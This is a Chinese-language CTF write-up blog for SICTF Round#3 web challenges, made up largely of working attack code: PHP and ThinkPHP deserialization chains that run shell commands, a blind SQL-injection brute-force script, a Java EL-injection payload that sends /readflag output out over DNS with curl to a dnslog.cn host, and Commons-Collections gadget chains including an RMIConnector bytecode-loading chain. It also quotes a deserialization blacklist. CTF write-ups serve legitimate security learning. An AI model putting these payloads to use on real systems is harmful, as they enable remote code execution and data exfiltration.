CHHHCHHOH 's BLOG

SICTF Round#3

100%_upload

用短标签绕过内容检测,把php更改为jpg后缀,上传然后在index.php?file进行包含即可

Not just unserialize

简单的反序列化

<?php

highlight_file(__FILE__);
class start
{
    public $welcome;
    public $you;
    public function __destruct()
    {
        $this->begin0fweb();
    }
    public  function begin0fweb()
    {
        $p='hacker!';
        $this->welcome->you = $p;
    }
}

class SE{
    public $year;
    public function __set($name, $value){
        echo '  Welcome to new year!  ';
        echo($this->year);
    }
}

class CR {
    public $last;
    public $newyear;

    public function __tostring() {
        var_dump($this->newyear);

        if (is_array($this->newyear)) {
            echo 'nonono';
            return false;
        }
        if (!preg_match('/worries/i',$this->newyear))
        {
            echo "empty it!";
            return 0;
        }

        if(preg_match('/^.*(worries).*$/',$this->newyear)) {
            echo 'Don\'t be worry';
        } else {
            echo 'Worries doesn\'t exists in the new year  ';
            empty($this->last->worries);
        }
        return false;
    }
}

class ET{

    public function __isset($name)
    {
        foreach ($_GET['get'] as $inject => $rce){
            putenv("{$inject}={$rce}");
        }
        system("echo \"Haven't you get the secret?\"");
    }
}
/*
if(isset($_REQUEST['go'])){
    unserialize(base64_decode($_REQUEST['go']));
}
*/
$payload = new start();
$payload->welcome = new SE();
$payload->welcome->year = new CR();
$payload->welcome->year->newyear = '
worries';
$payload->welcome->year->last = new ET();
echo base64_encode(serialize($payload));
?>

然后就是环境变量注入rce
?get[BASH_FUNC_echo%25%25]=()%20{%20cat%20/f*;%20}

hacker

无列名注入
1'/**/union/**/select/**/group_concat(table_name)/**/from/**/mysql.innodb_table_stats%23
得到:flag,users,gtid_slave_pos
爆破flag脚本

import requests
url='http://yuanshen.life:35795/'
payload="?username=1'/**/union/**/select/**/(select/**/0,'{}')>(select/**/*/**/from/**/flag)%23"
flag='SICTF{'
for j in range(1,50):
    for i in range(32,128):
        
        hexchar=flag+chr(i)
        py=payload.format(hexchar)
        re=requests.get(url+py)
        
        #print(re.text)
        if '1<br>' in re.text:
            flag+=chr(i-1)
            print(flag)
            break


但是flag里的英文字母都是小写的,比赛的时候一直说flag不对还很疑惑
其实应该用

2'/**/union/**/select/**/`2`/**/from/**/(select/**/1,2/**/union/**/select/**/*/**/from/**/flag)/**/a%23

直接注的,但是比赛的时候少写了个as a,所以就没读到。因为flag表是两列,所以要select 1,2,如果select 1,2,3就也读不到了,还是没有真正理解无列名注入。


其实也可以dumpfile写php文件查看环境变量

EZ_SSRF

ssrf,不过藏了个admin.php,ssrf访问/admin.php就可以了。
一开始没扫,想了好久

Oyst3rPHP

访问/www.zip下源码

<?php
namespace app\controller;
use app\BaseController;

class Index extends BaseController
{

    public function index()
    {
        echo "RT,一个很简单的Web,给大家送一点分,再送三只生蚝,过年一起吃生蚝哈";
        echo "<img src='../Oyster.png'"."/>";
        
        
        $payload = base64_decode(@$_POST['payload']);
        $right = @$_GET['left'];
        $left = @$_GET['right'];
        
        $key = (string)@$_POST['key'];
        if($right !== $left && md5($right) == md5($left)){
            
            echo "Congratulations on getting your first oyster";
            echo "<img src='../Oyster1.png'"."/>";
            
            if(preg_match('/.+?THINKPHP/is', $key)){
                die("Oysters don't want you to eat");
            }
            if(stripos($key, '603THINKPHP') === false){
                die("!!!Oysters don't want you to eat!!!");
            }
            
            echo "WOW!!!Congratulations on getting your second oyster";
            echo "<img src='../Oyster2.png'"."/>";
            
            @unserialize($payload);
            //最后一个生蚝在根目录,而且里面有Flag???咋样去找到它呢???它的名字是什么???
            //在源码的某处注释给出了提示,这就看你是不是真懂Oyst3rphp框架咯!!!
            //小Tips:细狗函数┗|`O′|┛ 嗷~~
        }
    }
    
    public function doLogin()
    {
    /*emmm我也不知道这是what,瞎写的*/
        if ($this->request->isPost()) {
            $username = $this->request->post('username');
            $password = $this->request->post('password');

           
            if ($username == 'your_username' && $password == 'your_password') {
          
                $this->success('Login successful', 'index/index');
            } else {
              
                $this->error('Login failed');
            }
        }
    }
    
    

}

md5绕过,preg_match回溯次数绕过,thinkphp6.0漏洞
?left=s878926199a&right=s155964671a
key='1'*1000000+'603THINKPHP'

<?php
namespace think\model\concern;
trait Attribute
{
    private $data = ["key"=>"cat /Oyst3333333r.php"];
    private $withAttr = ["key"=>"system"];
}
namespace think;
abstract class Model
{
    use model\concern\Attribute;
    private $lazySave = true;
    protected $withEvent = false;
    private $exists = true;
    private $force = true;
    protected $name;
    public function __construct($obj=""){
        $this->name=$obj;
    }
}
namespace think\model;
use think\Model;
class Pivot extends Model
{}
$a=new Pivot();
$b=new Pivot($a);
echo base64_encode(serialize($b));

[进阶]elInjection

先看一下这多到离谱的hint,真喂饭了属于是。


根据第一个hint,我们找到java el表达式+scriptengine webshell 分享
得到payload:
${"".getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("js").eval("new+java.lang.ProcessBuilder['(java.lang.String[])'](['cmd','/c','calc']).start()")}
在本地先去掉过滤,成功弹计算器,说明可行,把过滤加回去,主要是eval里的内容会被检测,要根据base64绕过
因为eval里的是js代码,所以要按js的语法写,具体可以参考HGAME 2024 WEEK1 jhat,要注意的点主要是把类的路径写全,如String要写成java.lang.String,然后定义变量的时候用var。
我们先用java代码来写个思路
先想想题目对我们的代码有什么要求,就是要不出现Runtime等关键字来执行系统命令
hint4已经说的很明白了
所以我们的代码如下:

        String string = new java.lang.String(java.util.Base64.getDecoder().decode("amF2YS5sYW5nLlJ1bnRpbWUuZ2V0UnVudGltZSgpLmV4ZWMoImNhbGMiKTs="));
        new javax.script.ScriptEngineManager().getEngineByExtension("js").eval(string);

成功本地弹计算器


然后我们把代码改写成js的形式,并把eval里js代码的"用\进行转义

${"".getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("js").eval("var%20string=new%20java.lang.String(java.util.Base64.getDecoder().decode(\"amF2YS5sYW5nLlJ1bnRpbWUuZ2V0UnVudGltZSgpLmV4ZWMoImNhbGMiKTs=\"));new%20javax.script.ScriptEngineManager().getEngineByExtension(\"js\").eval(string);")}

成功弹计算器


接下来就是要执行什么命令,根据测试,无法回显同时curl不出来,根据hint2,知道dns是出网的,然后根据hint3,我们知道要执行/readflag
所以

new java.lang.ProcessBuilder("bash", "-c", "curl `/readflag`.22copk.dnslog.cn").start();

这里本来想用Runtime,但是会报下面的错


把我们的代码base64编码

得到最终的payload

${"".getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("js").eval("var string=new java.lang.String(java.util.Base64.getDecoder().decode(\"bmV3IGphdmEubGFuZy5Qcm9jZXNzQnVpbGRlcigiYmFzaCIsICItYyIsICJjdXJsIGAvcmVhZGZsYWdgLjIyY29way5kbnNsb2cuY24iKS5zdGFydCgpOw==\"));new javax.script.ScriptEngineManager().getEngineByExtension(\"js\").eval(string);")}

成功读到flag


dnslog的平台还有点问题,最开始一直dns不了,我还以为hint是错的,后面重新Get SubDomain就有了,这里推荐一下这个dnslog平台
这里看了一下其他师傅的wp,发现还可以用js的String.fromCharCodecharAt与toChars获取字符再由toString转字符串concat拼接绕过

CC_deserialization

出题人的hint基本把链子给出来了,但是我还是不会,菜鸡一个。


这里主要参考这篇博客

hint里AbstractInputCheckedMapDecorator.setValue->TransformedMap.checkSetValue用了两次,这里会比较疑惑。为了理解这个,我们先把题目设置的简单一点,现在可以出网,那么我们就可以不用rmi的二次反序列化了。
先看一下CC1的链子


但是serialkiller.xml里过滤了chainedTransformer,所以我们CC1的链子就在TransformedMap.checkSetValue那里断了。

<config>
    <refresh>6000</refresh>
    <mode>
        <!--  set to 'false' for blocking mode  -->
        <profiling>false</profiling>
    </mode>
    <logging>
        <enabled>false</enabled>
    </logging>
    <blacklist>
        <!--  ysoserial's CommonsCollections1,3,5,6 payload   -->
        <regexp>org\.apache\.commons\.collections\.Transformer$</regexp>
        <regexp>org\.apache\.commons\.collections\.functors\.InstantiateFactory$</regexp>
        <regexp>com\.sun\.org\.apache\.xalan\.internal\.xsltc\.traxTrAXFilter$</regexp>
        <regexp>org\.apache\.commons\.collections\.functorsFactoryTransformer$</regexp>
        <regexp>javax\.management\.BadAttributeValueExpException$</regexp>
        <regexp>org\.apache\.commons\.collections\.keyvalue\.TiedMapEntry$</regexp>
        <regexp>org\.apache\.commons\.collections\.functors\.ChainedTransformer$</regexp>
        <regexp>com\.sun\.org\.apache\.xalan\.internal\.xsltc\.trax\.TemplatesImpl$</regexp>
        <regexp>com\.sun\.org\.apache\.xalan\.internal\.xsltc\.trax\.TrAXFilter$</regexp>
        <regexp>java\.security\.SignedObject$</regexp>
        <regexp>org\.apache\.commons\.collections\.Transformer$</regexp>
        <regexp>org\.apache\.commons\.collections\.functors\.InstantiateTransformer</regexp>
        <regexp>org\.apache\.commons\.collections\.functors\.InstantiateFactory$</regexp>
        <regexp>com\.sun\.org\.apache\.xalan\.internal\.xsltc\.traxTrAXFilter$</regexp>
        <regexp>org\.apache\.commons\.collections\.functorsFactoryTransformer$</regexp>
        <!--  ysoserial's CommonsCollections2,4 payload   -->
        <regexp>org\.apache\.commons\.beanutils\.BeanComparator$</regexp>
        <regexp>org\.apache\.commons\.collections\.Transformer$</regexp>
        <regexp>com\.sun\.rowset\.JdbcRowSetImpl$</regexp>
        <regexp>java\.rmi\.registry\.Registry$</regexp>
        <regexp>java\.rmi\.server\.ObjID$</regexp>
        <regexp>java\.rmi\.server\.RemoteObjectInvocationHandler$</regexp>
        <regexp>org\.springframework\.beans\.factory\.ObjectFactory$</regexp>
        <regexp>org\.springframework\.core\.SerializableTypeWrapper\$MethodInvokeTypeProvider$</regexp>
        <regexp>org\.springframework\.aop\.framework\.AdvisedSupport$</regexp>
        <regexp>org\.springframework\.aop\.target\.SingletonTargetSource$</regexp>
        <regexp>org\.springframework\.aop\.framework\.JdkDynamicAopProxy$</regexp>
        <regexp>org\.springframework\.core\.SerializableTypeWrapper\$TypeProvider$</regexp>
        <regexp>org\.springframework\.aop\.framework\.JdkDynamicAopProxy$</regexp>
        <regexp>java\.util\.PriorityQueue$</regexp>
        <regexp>java\.lang\.reflect\.Proxy$</regexp>
        <regexp>javax\.management\.MBeanServerInvocationHandler$</regexp>
        <regexp>javax\.management\.openmbean\.CompositeDataInvocationHandler$</regexp>
        <regexp>java\.beans\.EventHandler$</regexp>
        <regexp>java\.util\.Comparator$</regexp>
        <regexp>org\.reflections\.Reflections$</regexp>
        <regexp>org\.apache\.commons\.collections\.map\.LazyMap$</regexp>
        <regexp>org\.apache\.commons\.collections\.map\.DefaultedMap$</regexp>
        <regexp>java\.util\.Hashtable$</regexp>
    </blacklist>
    <whitelist>
        <regexp>.*</regexp>
    </whitelist>
</config>

也就是说我们现在只能进行一次xxxTransformer.transformer,但是在AbstractInputCheckedMapDecorator$MapEntry#setValue里在进行一次checkSetValue即触发transformer还有entry.setValue(value),如果我们能够让entry为AbstractInputCheckedMapDecorator$MapEntry,因为value是我们transformer后获得的值,那么我们不就能再调用一次setValue,也就能再调用一次xxxTransformer.transformer


我们先调试看一下调用一次setValue时,entry是什么?

package org.example.CC;

import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;

public class test {
    public static void main(String[] args) throws Exception{

        HashMap<Object, Object> map = new HashMap<>();
        map.put("value","aaaa");

        Map transformedMap4 = TransformedMap.decorate(map,new ConstantTransformer(4),new ConstantTransformer(Runtime.class));

        Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor annotaionInvocationHandlerConstructor = c.getDeclaredConstructor(Class.class,Map.class);
        annotaionInvocationHandlerConstructor.setAccessible(true);
        Object o = annotaionInvocationHandlerConstructor.newInstance(Target.class, transformedMap4);

        serialize(o);
        unserialize("ser.bin");
    }
    public static void serialize(Object obj) throws Exception {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }

    public static Object unserialize(String Filename) throws Exception {
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        return obj;
    }
}


Map transformedMap4 = TransformedMap.decorate(map,new ConstantTransformer(4),new ConstantTransformer(Runtime.class));我们序列化的是transformedMap4,可以看到entry是transformedMap4进行decorate的来源map的键值对,即我们的HashMap$Node,猜测entry是序列化对象decorate的第一个map里面的键值对,我们再写一个transformedMap3

    map.put("value","aaaa");
    Map transformedMap3 = TransformedMap.decorate(map,new ConstantTransformer(3),new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}));
    Map transformedMap4 = TransformedMap.decorate(transformedMap3,new ConstantTransformer(4),new ConstantTransformer(Runtime.class));


这里要解释一下我们为什么TransformedMap的键值对在这里是AbstractInputCheckedMapDecorator$MapEntry


可以看到TransformerMap继承了AbstractMapEntryDecorator,AbstractInputCheckedMapDecorator$MapEntry的parent是AbstractMapEntryDecorator。entry是map里键值对的意思,那么entry的parent是谁呢?当然就是map。所以TransformerMap的entry就是AbstractInputCheckedMapDecorator$MapEntry,所以接下来会调用entry.parent#checkSetValue

即transformedMap3#checkSetValue,即InvokerTransformer.transformer

而且value是我们之前ConstantTransformer(Runtime.class).transform(value)返回的Runtime.class,接下来就会调用InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}).transform(Runtime.class)

返回了getRuntime,这不就跟ChainedTransformer一样了吗?
直接给出payload

package org.example.CC;

import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;

public class CC1_no_chain {
    public static void main(String[] args) throws Exception{

        HashMap<Object, Object> map = new HashMap<>();
        map.put("value","aaaa");
        Map transformedMap1 = TransformedMap.decorate(map,new ConstantTransformer(1),new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}));
        Map transformedMap2 = TransformedMap.decorate(transformedMap1,new ConstantTransformer(2),new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}));
        Map transformedMap3 = TransformedMap.decorate(transformedMap2,new ConstantTransformer(3),new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}));
        Map transformedMap4 = TransformedMap.decorate(transformedMap3,new ConstantTransformer(4),new ConstantTransformer(Runtime.class));

        Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor annotaionInvocationHandlerConstructor = c.getDeclaredConstructor(Class.class,Map.class);
        annotaionInvocationHandlerConstructor.setAccessible(true);
        Object o = annotaionInvocationHandlerConstructor.newInstance(Target.class, transformedMap4);

        serialize(o);
        unserialize("ser.bin");
    }
    public static void serialize(Object obj) throws Exception {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }

    public static Object unserialize(String Filename) throws Exception {
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        return obj;
    }
}

成功弹计算器


如果这题出网的话,我们就已经过关了。
但是这题不出网,我们要写内存马,需要用CC3的链加载字节码。这就是为什么要通过rmiConnector#connect进行二次反序列化。因为一次的话我们最多只能用到ChainedTransformer,而加载不了字节码。那么我们现在想调用rmiConnector#connect就很轻松了,先用ConstantTransformer返回rmiConnector,在调用InvokerTransformer执行connect,因为我不会内存马,这里就直接CC4加载弹计算器的代码

package org.twice;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.InstantiateTransformer;

import javax.management.remote.JMXServiceURL;
import javax.management.remote.rmi.RMIConnector;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;
import java.util.PriorityQueue;

import static org.example.rmi.EvilRegistry.genEvilMap;

public class RMICC {
    public static void main(String[] args) throws Exception{
        JMXServiceURL jmxServiceURL = new JMXServiceURL("rmi","127.0.0.1",1099,"/stub/"+getEvilString());
        RMIConnector rmiConnector = new RMIConnector(jmxServiceURL, new HashMap<String, String>());

        ConstantTransformer constantTransformer = new ConstantTransformer(rmiConnector);
        InvokerTransformer invokerTransformer = new InvokerTransformer("connect", null, null);

        HashMap<Object, Object> map = new HashMap<>();
        map.put("value","aaaa");
        Map decorate = TransformedMap.decorate(map,null,invokerTransformer);
        Map transformedMap = TransformedMap.decorate(decorate,null,constantTransformer);
        Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor annotaionInvocationHandlerConstructor = c.getDeclaredConstructor(Class.class,Map.class);
        annotaionInvocationHandlerConstructor.setAccessible(true);
        Object o = annotaionInvocationHandlerConstructor.newInstance(Target.class, transformedMap);
        System.out.println(transformedMap.entrySet().getClass().getName());
        serialize(o);
        unserialize("ser.bin");
    }
    public static String getEvilString() throws Exception{
        TemplatesImpl templates = new TemplatesImpl();
        Class tc = templates.getClass();
        Field nameField = tc.getDeclaredField("_name");
        nameField.setAccessible(true);
        nameField.set(templates,"aaa");
        Field bytecodesField = tc.getDeclaredField("_bytecodes");
        bytecodesField.setAccessible(true);
        byte[] code = Files.readAllBytes(Paths.get("D:\\JAVA\\ctf\\target\\classes\\org\\example\\test.class"));
        byte[][] codes = {code};
        bytecodesField.set(templates,codes);
        Transformer[] transformers = new Transformer[]{
                new org.apache.commons.collections4.functors.ConstantTransformer(TrAXFilter.class),
                new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        TransformingComparator transformingComparator = new TransformingComparator(new org.apache.commons.collections4.functors.ConstantTransformer(1));
        PriorityQueue priorityQueue = new PriorityQueue(transformingComparator);
        priorityQueue.add(1);
        priorityQueue.add(2);
        Class c = transformingComparator.getClass();
        Field transformerField = c.getDeclaredField("transformer");
        transformerField.setAccessible(true);
        transformerField.set(transformingComparator,chainedTransformer);
        ByteArrayOutputStream out = new ByteArrayOutputStream();
        ObjectOutputStream objOut = new ObjectOutputStream(out);
        objOut.writeObject(priorityQueue);
        return Base64.getEncoder().encodeToString(out.toByteArray());
    }
    public static void serialize(Object obj) throws Exception {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }

    public static Object unserialize(String Filename) throws Exception {
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        return obj;
    }
}

添加新评论